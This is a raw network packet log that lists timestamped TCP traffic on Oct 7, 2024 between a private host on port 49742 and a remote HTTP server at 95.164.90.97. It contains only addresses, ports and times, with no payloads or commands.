Oct 7, 2024 18:43:28.218159914 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:28.218159914 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:28.218174934 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.218314886 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:28.218888044 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.219010115 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:28.219011068 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.219022989 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.219033957 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.219044924 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.219096899 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:28.219096899 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:28.297751904 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.297770977 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.297787905 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.297816992 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:28.297816992 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:28.297875881 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:28.297878027 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.297893047 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.297907114 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.297921896 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.297938108 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:28.297938108 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:28.297966957 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:28.297966957 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:28.315905094 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.315921068 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.315938950 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.315970898 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.315984011 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.315994978 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.315996885 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:28.316005945 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.316011906 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:28.316046000 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.316056967 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.316067934 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.316068888 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:28.316080093 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.316088915 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:28.316092014 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.316102982 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.316113949 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:28.316245079 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.316257000 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.316267967 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.316274881 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:28.316277027 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.316287994 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.316288948 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:28.316294909 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:28.316304922 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.316314936 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.316324949 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:28.316325903 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.316356897 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:28.316356897 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:28.316378117 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.316387892 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.316397905 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.316404104 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:28.316409111 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.316416025 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:28.316420078 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.316431046 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.316441059 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:28.316488981 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:28.316488981 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:28.316641092 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.316652060 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.316663027 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.316673994 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.316684008 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.316694975 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.316704988 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:28.316716909 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.316734076 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.316744089 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:28.316744089 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:28.316744089 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.316756010 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.316765070 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:28.316766977 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.316778898 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.316787004 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:28.316788912 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.316800117 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.316808939 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:28.316811085 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.316833019 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:28.316870928 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.316881895 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.316891909 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.316898108 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:28.316901922 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.316905022 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:28.316912889 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.316932917 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:28.316945076 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.316951990 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.316957951 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.316978931 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:28.317606926 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.317630053 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.317631960 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:28.317641973 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.317651987 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.317662954 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.317672968 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.317682981 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.317683935 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:28.317691088 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:28.317693949 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.317709923 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.317714930 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:28.317715883 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.317734957 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:28.319449902 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:28.320938110 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.320997000 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.321011066 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.321091890 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:28.321091890 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:28.321156025 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.321166039 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.321183920 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.321198940 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.321209908 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.321221113 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.321232080 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.321242094 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.321250916 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:28.321250916 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:28.321250916 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:28.321259022 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.321269989 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.321274042 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:28.321281910 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.321293116 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.321305037 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:28.321310997 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.321321964 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.321329117 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:28.321331978 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.321352959 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:28.321516037 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.321537971 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:28.321564913 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.321576118 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.321618080 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:28.321619034 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:28.321624994 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.321635962 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.321835995 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.321880102 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.321891069 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.321928024 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:28.322029114 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.322055101 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.322066069 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.322067022 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:28.322077990 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.322088957 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.322099924 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.322110891 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.322127104 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:28.322128057 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:28.322163105 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.322170019 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:28.322170019 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:28.322174072 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.322186947 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.322196960 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.322206974 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.322221994 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:28.322232008 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:28.322410107 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.322422028 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.322433949 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.322449923 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.322455883 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:28.322474003 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:28.322484970 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.322496891 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.322506905 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.322511911 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:28.322518110 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.322529078 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.322540045 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.322550058 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.322551012 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:28.322551012 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:28.322603941 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:28.322603941 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:28.382694006 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.382708073 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.382719040 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.382730007 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.382740974 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.382751942 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.382761955 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.382771015 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:28.382771969 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.382803917 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:28.382859945 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:28.400398970 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.400414944 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.400425911 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.400542021 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.400553942 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.400563002 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.400573015 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.400582075 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.400593042 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.400593042 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:28.400603056 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.400613070 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.400621891 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:28.400665045 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:28.400665045 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:28.400803089 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.400813103 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.400824070 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.400831938 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.401171923 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.401182890 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.401192904 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.401206970 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:28.401269913 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.401281118 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.401290894 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.401302099 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.401304960 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:28.401388884 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.401398897 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.401410103 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.401417971 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:28.401418924 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.401428938 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.401438951 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.401448011 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.401458025 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.401463985 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:28.401484966 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:28.401484966 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:28.401621103 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.401652098 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:28.401655912 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.401664972 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.401674986 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.401684046 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.401689053 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:28.401693106 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.401707888 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.401717901 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.401726961 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.401736021 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.401745081 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.401755095 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.401765108 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.401777983 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:28.401801109 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.401809931 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.401818991 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.401827097 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:28.401827097 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:28.401839972 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:28.401839972 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.401849985 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.401859045 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.401865005 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:28.401869059 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.401879072 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.401880026 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:28.401890039 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.401895046 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.401957989 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:28.401957989 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:28.401974916 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.401985884 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.401993990 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.402007103 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.402018070 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:28.402019978 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.402029991 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.402049065 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:28.402225971 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.402235985 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.402244091 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.402252913 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.402262926 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.402265072 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:28.402271986 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.402282000 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.402292967 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.402313948 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:28.402333975 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:28.402333975 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:28.402348042 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.402417898 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.402427912 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.402436972 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.402446985 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.402970076 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.402997971 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:28.403090000 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.403100014 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.403109074 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.403127909 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.403141975 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.403151035 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.403157949 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:28.403161049 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.403157949 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:28.403168917 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.403177977 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.403182983 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:28.403182983 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.403187990 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.403192997 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.403238058 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:28.403297901 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.403307915 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.403316021 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.403325081 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:28.403357983 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:28.403357983 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:28.478919029 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.478940010 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.478950024 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.478960037 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.478971958 CEST	80	49742	95.164.90.97	192.168.2.4
